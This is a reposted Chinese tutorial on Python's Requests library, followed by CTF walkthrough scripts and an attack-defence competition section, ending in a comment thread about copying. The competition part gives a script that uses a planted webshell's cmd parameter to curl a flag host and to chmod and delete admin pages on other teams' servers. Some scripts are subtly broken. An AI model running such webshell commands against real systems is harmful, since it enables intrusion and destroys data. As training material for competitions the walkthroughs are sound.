Python模块-Requests学习与CTF和AWD实战
原文链接: https://jwt1399.top/posts/57181.html前言 为什么学习Requests模块呢,因为最近老是遇见它,自己又不太懂,加之在很多Web的poc里面Requests模块的出镜率很高,于是特此学习记录之。
简介 Requests是一个简单方便的HTTP 库。比Python标准库中的urllib2模块功能强大。Requests 使用的是 urllib3,因此继承了它的所有特性。Requests 支持使用cookie 保持会话,支持文件上传,支持自动确定响应内容的编码,支持URL 和 POST 数据自动编码。帮助我们轻松解决关于HTTP的大部分问题。
安装 方法一:
只要在你的终端中运行这个简单命令即可:
$ pip install requests
如果你没有安装Python,这个 Python installation guide 可以带你完成这一流程。
方法二
你可以克隆公共版本库:
git clone git://github.com/kennethreitz/requests.git
获得代码之后,你就可以轻松的将它嵌入到你的 python 包里
cd requests python setup.py install
或者放到你的Python27\Lib\site-packages目录下
能导入requests,即安装成功
>>> import requests
Requests常用方法 所有示例都是以Github官网(https://github.com/)为例
发送请求 发起GET请求;
>>> r = requests.get('https://github.com/')
发起POST请求:
>>> r = requests.post('https://github.com/post', data = {'key':'value'})
其他HTTP 请求类型:PUT,DELETE,HEAD 以及 OPTIONS,都是一样的简单
>>> r = requests.put('https://github.com/', data = {'key':'value'}) >>> r = requests.delete('https://github.com/delete')
>>> r = requests.head('https://github.com//get')
>>> r = requests.options('https://github.com/get')
现在,我们有一个名为r的Response对象。我们可以从这个对象中获取所有我们想要的信息。
查看请求头 以查看GET请求的请求头为例,POST请求同理:
>>> r = requests.get('https://github.com/') >>> r.request.headers
{'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'User-Agent': 'python-requests/2.22.0'}
查看请求头的某一属性:(大小写不影响)
>>> r.request.headers['Accept-Encoding'] 'gzip, deflate'
>>> r.request.headers.get('user-agent')
'python-requests/2.22.0'
查看响应头 查看GET请求的响应头为例,POST请求同理:
>>> r = requests.get('https://github.com/') >>> r.headers
{'Status': '200 OK', 'Expect-CT': 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"', 'X-Request-Id': '45a5c520-bb73-4677-b30c-19300dcf6f38', 'X-XSS-Protection': '1; mode=block', 'Content-Security-Policy': "default-src 'none'; base-uri 'self'; block-all-mixed-content; ......}
查看响应头的某一属性:(大小写不影响)
>>> r.headers['Status'] '200 OK'
>>>r.headers.get('content-type')
'text/html; '
查看响应内容 查看服务器返回页面的内容,以查看GET请求的响应内容为例,POST请求同理:
>>> r = requests.get('https://github.com/') >>> r.text
u'\n\n\n\n\n\n<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="utf-8">\n...
Requests 会自动解码来自服务器的内容。大多数 unicode 字符集都能被无缝地解码。
请求发出后,Requests 会基于 HTTP 头部对响应的编码作出有根据的推测。当你访问 r.text 之时,Requests 会使用其推测的文本编码。你可以找出 Requests 使用了什么编码,并且能够使用r.encoding 属性来改变它:
>>> r.encoding 'utf-8'
>>> r.encoding = 'ISO-8859-1'
二进制响应内容 你也能以字节的方式访问请求响应体,对于非文本请求:
>>> r.content b'[{"repository":{"open_issues":0,"url":"https://github.com/...
Requests 会自动为你解码 gzip 和 deflate 传输编码的响应数据。
例如,以请求返回的二进制数据创建一张图片,你可以使用如下代码:
>>> from PIL import Image >>> from io import BytesIO
>>> i = Image.open(BytesIO(r.content))
传递GET请求参数 GET请求参数作为查询字符串附加在URL末尾,可以通过requests.get()方法中的params参数(dict类型变量)完成。例如,我要构建的URL为https://github.com/?username=jwt&id=1,则可以通过以下代码传递GET请求参数:
>>> args = {'username': 'jwt', 'id': 1} >>> r = requests.get('https://github.com/', params = args)
>>> print(r.url)
https://github.com/?username=jwt&id=1
传递POST请求参数 POST请求参数以表单数据的形式传递,可以通过requests.post()方法中的data参数(dict类型变量)完成,具体代码如下:
>>> args = {'username': 'jwt', 'id': 1} >>> r = requests.post("http://httpbin.org/post", data=args)
>>> print(r.text)
{
"args": {},
"data": "",
"files": {},
"form": {
"id": "1",
"username": "jwt"
},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Content-Length": "17",
"Content-Type": "application/x-www-form-urlencoded",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0"
},
"json": null,
"origin": "3.112.219.149, 3.112.219.149",
"url": "https://httpbin.org/post"
由于github官网POST请求参数不以明文展现,此处改为了其他网站测试
传递Cookie参数 HTTP 协议是无状态的。因此,若不借助其他手段,远程的服务器就无法知道以前和客户端做了哪些通信。Cookie 就是手段之一。
Cookie 用于记录用户在网站上的登录状态。
如果想传递自定义Cookie到服务器,可以使用cookies参数(dict类型变量)。以POST请求为例提交自定义Cookie(cookies参数同样适用于GET请求):
>>> mycookie = {'userid': '123456'} >>> r = requests.post('https://github.com/', cookies = mycookie)
>>> r.request.headers
...'Cookie': 'userid=123456',...
会话对象Session() 会话是存储在服务器上的相关用户信息,用于在有效期内保持客户端与服务器之间的状态.Session与Cookie配合使用,当会话或Cookie失效时,客户端与服务器之间的状态也随之失效。
请求模块中的会话对象Session()能够在多次请求中保持某些参数,使得底层的TCP连接将被重用,提高了HTTP连接的性能。
Session()的创建过程如下:
>>> s = requests.Session()
在有效期内,同一个会话对象发出的所有请求都保持着相同的Cookie,可以看出,会话对象也可以通过get与post方法发送请求,以发送GET请求为例:
>>> r = s.get('https://github.com)
我们来跨请求保持一些 cookie:
s = requests.Session() s.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
r = s.get("http://httpbin.org/cookies")
print(r.text)
# '{"cookies": {"sessioncookie": "123456789"}}'
任何你传递给请求方法的字典都会与已设置会话层数据合并。方法层的参数覆盖会话的参数。
不过需要注意,就算使用了会话,方法级别的参数也不会被跨请求保持。下面的例子只会和第一个请求发送 cookie ,而非第二个:
s = requests.Session() r = s.get('http://httpbin.org/cookies', cookies={'from-my': 'browser'})
print(r.text)
# '{"cookies": {"from-my": "browser"}}'
r = s.get('http://httpbin.org/cookies')
print(r.text)
# '{"cookies": {}}'
Cookie和Session区别 1.session 在服务器端,cookie 在客户端(浏览器)
2.session 默认被保存在服务器的一个文件里(不是内存)
3.session 的运行依赖 session>
4.session 可以放在 文件、数据库、或内存中都可以。
5.用户验证这种场合一般会用 session
6.cookie目的可以跟踪会话,也可以保存用户喜好或者保存用户名密码
7.session用来跟踪会话
利用 Cookie 管理 SessionHTTP代理 如果需要使用代理,你可以通过为任意请求方法提供 proxies 参数来配置单个请求:
import requests proxies = {
"http": "http://10.10.1.10:3128",
"https": "http://10.10.1.10:1080",
}
requests.get("http://example.org", proxies=proxies)
你也可以通过环境变量 HTTP_PROXY 和HTTPS_PROXY来配置代理。
$ export HTTP_PROXY="http://10.10.1.10:3128" $ export HTTPS_PROXY="http://10.10.1.10:1080"
$ python
>>> import requests
>>> requests.get("http://example.org")
若你的代理需要使用HTTP Basic Auth,可以使用 http://user:password@host/语法:
proxies = { "http": "http://user:pass@10.10.1.10:3128/",
}
要为某个特定的连接方式或者主机设置代理,使用 scheme://hostname 作为 key, 它会针对指定的主机和连接方式进行匹配。
proxies = {'http://10.20.1.128': 'http://10.10.1.10:5323'}
注意,代理 URL 必须包含连接方式。
SOCKS代理 除了基本的 HTTP 代理,Request 还支持 SOCKS 协议的代理。这是一个可选功能,若要使用, 你需要安装第三方库。
你可以用 pip 获取依赖:
$ pip install requests
安装好依赖以后,使用 SOCKS 代理和使用 HTTP 代理一样简单:
proxies = { 'http': 'socks5://user:pass@host:port',
'https': 'socks5://user:pass@host:port'
}
Request在CTF中实战题目 天下武功唯快不破 题目来源:实验吧
题目链接:http://ctf5.shiyanbar.com/web/10/10.php
题目信息:
image 打开题目,查看源码
image 题目提示请用POST请求提交你发现的信息,请求参数的键值是key。看看响应头,果然看到FLAG
image 将发现字符base64解码:P0ST_THIS_T0_CH4NGE_FL4G:x63HymPc3
image 即key=x63HymPc3
Hackbar手工提交 POST 请求会有什么效果:
image 根据题目意思必须很快的提交,经过研究发现FLAG的值会改变,显然必须要用脚本来跑了,因此直接上 Python 脚本解题:
# -*- coding: utf-8 -*- # python 2
import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目标URL
headers = requests.get(url).headers # 获取响应头
key = base64.b64decode(headers['FLAG']).split(':') # 获取响应头中的Flag,用 split(':') 分离冒号两边的值,对象中的第二个元素即为要提交的 key 值
postData = {'key': key} # 构造Post请求体
print(requests.post(url, data = postData).text)# 利用Post方式发送请求并打印响应内容
运行脚本,得到flag
image题目 速度要快 题目来源:bugku
题目链接:http://123.206.87.240:8002/web6/
题目信息:
image 此题是上一题的升级版,除了要求快速发送POST请求,还要求所有的请求必须在同一个Session内完成
打开题目,查看源码
image 题目提示请用POST请求提交你发现的信息,请求参数的键值是margin。看看响应头,果然看到flag
image 将发现字符base64解码:跑的还不错,给你flag吧: MzIyMTk1
image 经过第一次base64解码后,flag仍然还是一段base64编码,所以要再解码一次。解题过程中,要自行动手查看每一次解码后的值,才能选择合适的方法去获得最终key值。
image Hackbar手工提交 POST 请求会有什么效果:
image 根据题目意思必须很快的提交,经过研究发现flag的值会改变,显然必须要用脚本来跑了,因此直接上 Python 脚本解题
但是直接用上题脚本发现,发现还是提示快一点
因此查看GET请求和POST请求的请求头与响应头是否内有玄机
[图片上传失败...(image-1831d8-1585387241499)]
果然如此,GET请求和POST请求的响应头的Set-Cookie值不相同,即不在同一个会话中,因此编写脚本
方法一:
# -*- coding: utf-8 -*- # python 2
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
s = requests.Session() #获取 Session
headers = s.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(":"))
post = {"margin":key}
print(s.post(url, data = post).text)
用会话对象Session()的get和post方法使GET请求与POST请求在同一个Session中
运行脚本,得到flag
image 方法二:
既然只需要保持两次请求中 Cookie 属性相同,那能不能构造 Cookie 属性通过普通的 get 与 post 方法完成呢?答案是可以的。请见如下代码:
# -*- coding: utf-8 -*- # python 2
import requests
import base64
url = 'http://120.24.86.145:8002/web6/'
headers = requests.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(":"))
post = {"margin": key}
PHPSESSID = headers["Set-Cookie"].split(";").split("=")
cookie = {"PHPSESSID": PHPSESSID}
print(requests.post(url, data = post, cookies = cookie).text)
题目 秋名山老司机 题目来源:bugku
题目链接:http://123.206.87.240:8002/qiumingshan/
题目信息:
[图片上传失败...(image-47f086-1585387241499)]
依旧是跟前两题差不多,前面两题均是对响应头中与flag相关的属性做解码处理,然后快速发送一个 POST 请求得到 flag 值。而本题要求计算响应内容中的表达式,将结果用 POST 请求发送回服务器换取 flag 值。同样要利用会话对象 Session(),否则提交结果的时候,重新生成了一个新的表达式,结果自然错误。
打开题目,查看源码
[图片上传失败...(image-d686a9-1585387241499)]
根据题目意思 必须2秒内计算给出算式的值
但是不知道POST的key是什么,刷新页面再看看,得到请求参数的 key 值为value
[图片上传失败...(image-da6c68-1585387241499)]
经过研究发现算式会改变,再加上必须2秒内提交,显然必须要用脚本来跑了,因此直接上 Python 脚本解题
# -*- coding: utf-8 -*- # python 2
import requests
import re # 正则表达式
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
r = s.get(url).content
# search() 匹配算术表达式,匹配成功后用 group() 返回算术表达式的字符串。
expression = re.search(r'(\d+[+\-*])+(\d+)', r).group() # search() 的第一个参数是匹配的正则表达式,第二个参数是要匹配的字符串
sum = eval(expression) # eval()自动计算出结果,
post = {'value': sum}
print (s.post(url, data = post).content.decode('utf-8'))
脚本解释:
expression = re.search(r'(\d+[+\-*])+(\d+)', r).group()
前面的一个r表示字符串为非转义的原始字符串,让编译器忽略反斜杠,也就是忽略转义字符。但是这个字符串里没有反斜杠,所以这个r可有可无
\d+代表一个或多个数字
[+\-*]匹配一个加号,或一个减号,或一个乘号,注意减号在中括号内是特殊字符,要用反斜杠转义;
(\d+[+\-*])+代表一个或多个由数字与运算符组成的匹配组;最后再加上剩下的一个数字(\d+)
Python 正则表达式
正则表达式
运行脚本,就有一定的概率可以获得flag,经尝试与猜测只有当Give me value post about...界面出现提交才能得到flag
所以多运行几次脚本flag就能得到了
[图片上传失败...(image-19cdb0-1585387241499)]
题目 快速口算 题目来源:网络信息安全攻防学习平台
题目链接:http://lab1.xseclab.com/xss2_0d5 ... 73a075be1/index.php
题目信息:
[图片上传失败...(image-252aed-1585387241499)]
跟上一题原理一样,唯一不同就是正则表达式稍有变动,因为两题算式形式略有不同
打开题目,查看源码
[图片上传失败...(image-26c5a-1585387241499)]
根据题目意思 必须2秒内计算给出算式的值,源码中得到请求参数的 key 值为v
解题脚本:
# -*- coding: utf-8 -*- # Python 2
import requests
import re # 正则表达式
url="http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
s=requests.Session()
r=s.get(url).content
expression=re.search(r'+[)]',r).group()
sum=eval(expression)
postdata={'v':sum}
print(s.post(url,data=postdata).content.decode('utf-8'))
0-9+代表一个或多个数字
+*()匹配一个加号,或一个乘号,或一个括号
+代表一个或多个由数字与运算符组成的匹配组;最后再加上剩下的一个后括号[)]
运行脚本,得到flag
[图片上传失败...(image-53f0e6-1585387241499)]
题目 cookies欺骗 题目来源:bugku
题目链接:http://123.206.87.240:8002/web11/
题目信息:
image 打开题目,看到一段字符,各种编码尝试之后,未果。。。
image 发现url中的filename的值a2V5cy50eHQ=是base64编码,解码后是keys.txt
直接访问keys.txt,发现回显的就是刚才的那段字符
image 也就是说filename能读取文件,但是文件名要base64编码
因此我们来读取index.php,将其base64编码
image url中line参数应该是行数,试一下line=1
image 出现一行代码,再试一下line=2显示了不同的代码
image 由此推断改变line值就能够读取index.php,但是手动改太麻烦,因此我们写一个脚本来读取index.php
import requests for i in range(0,30):
url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
r=requests.get(url)
print r.text
运行脚本得到源码
image 审计代码,cookie必须满足margin=margin才能访问keys.php
将keys.php进行base64编码
image 抓包之后,加上Cookie:margin=margin
image 看了网上也可用Hackbar,执行之后查看源码
imageRequest在AWD中实战题目:JEECMS 题目来源:2019四川省省赛AWD
题目链接:链接:https://pan.baidu.com/s/1YpdKs8BwQpUuCosqNM_-9w
提取码:kg4y
题目信息:
[图片上传失败...(image-e4d37-1585387241499)]
ssh连接,将源码down下来,D盾扫描
image 一共四个木马,两个多功能大马
[图片上传失败...(image-33bdb2-1585387241499)]
根据扫出的命令执行漏洞,直接获取flag手工提交
http://192.200.1.11:8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=curl http://192.200.0.70/remoteflag/ http://192.200.1.12:8080/jeecmsv ... /index.jsp?cmd=curl http://192.200.0.70/remoteflag/
http://192.200.1.num:8080/jeecms ... /index.jsp?cmd=curl http://192.200.0.70/remoteflag/
# 题目提供的flag所在地 curl http://192.200.0.70/remoteflag/
根据漏洞,利用Requests写出宕机脚本,直接删除敌方页面
import requests for num in range(11,43):#这个范围是打的ip是11-43的队伍
#修改要删除页面的权限
url='http://192.200.1.'+str(num)+':8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=chmod 777 /home/ctf/apache-tomcat-7.0.79/webapps/jeecmsv9f/jeeadmin/jeecms/index.do'
r = requests.get(url,timeout=5)
#删除页面
url='http://192.200.1.'+str(num)+':8080/jeecmsv9f/thirdparty/ueditor/index.jsp?cmd=rm%20/home/ctf/apache-tomcat-7.0.79/webapps/jeecmsv9f/jeeadmin/jeecms/index.do'
r = requests.get(url,timeout=5)
print('\n')
url='http://192.200.1.'+str(num)+':8080/jeeadmin/jeecms/index.do'
print('\n')
print(r.text)
参考:
快速上手-Requests
高级用法-Requests
详解CTF Web中的快速反弹POST请求
本帖最后由 jianjian 于 2020-5-27 17:02 编辑
请问为什么我的文章被完全copy成你的了。???
jianjian 发表于 2020-5-27 16:59
请问为什么我的文章被完全copy成你的了。???
您好,本帖为自动爬取的文章,已经标明是转载,如有侵权,请留言 请删除吧,谢谢! roger 发表于 2020-5-27 17:11
您好,本帖为自动爬取的文章,已经标明是转载,如有侵权,请留言
请删除该文章,谢谢 jianjian 发表于 2020-5-27 17:13
请删除吧,谢谢!
已补充文章出处,不好意思 jianjian 发表于 2020-5-27 17:16
请删除该文章,谢谢
文章也不是不可以转载,你这放个图片在这就过分了吧 jianjian 发表于 2020-5-27 17:20
文章也不是不可以转载,你这放个图片在这就过分了吧
本文为自动抓取,转载于简书,我已按照要求添加了转载说明,怎么就过分了呀? jianjian 发表于 2020-5-27 17:20
文章也不是不可以转载,你这放个图片在这就过分了吧
而且,这篇文章发到了简书,就已经默认了可以转载,我并没有违反任何规定,而且我也按照您在个人网站上的说明,给您额外添加了原文链接 本帖最后由 jianjian 于 2020-5-27 17:36 编辑
jianjian 发表于 2020-5-27 17:20
文章也不是不可以转载,你这放个图片在这就过分了吧
哎,没事了,转载别文章在显眼处说清楚,是基本素质吧,但最初并没找到任何关于转载的字样!
页:
[1]
2